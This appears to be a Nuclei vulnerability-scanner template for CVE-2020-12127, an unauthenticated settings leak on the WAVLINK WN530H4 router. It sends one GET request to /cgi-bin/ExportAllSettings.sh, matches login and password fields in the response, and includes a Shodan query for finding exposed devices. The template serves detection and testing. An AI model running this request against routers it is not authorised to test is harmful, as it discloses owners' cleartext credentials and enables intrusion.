id: CVE-2020-12127 info: name: WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure author: arafatansari severity: high description: | An information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication. reference: - https://nvd.nist.gov/vuln/detail/CVE-2020-12127 - https://cerne.xyz/bugs/CVE-2020-12127 - https://www.wavlink.com/en_us/product/WL-WN530H4.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-12127 cwe-id: CWE-306 metadata: shodan-query: http.html:"Wavlink" verified: "true" tags: cve,cve2020,wavlink,exposure requests: - method: GET path: - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh" matchers-condition: and matchers: - type: word part: body words: - 'Login=' - 'Password=' - 'Model=' - 'AuthMode=' condition: and - type: status status: - 200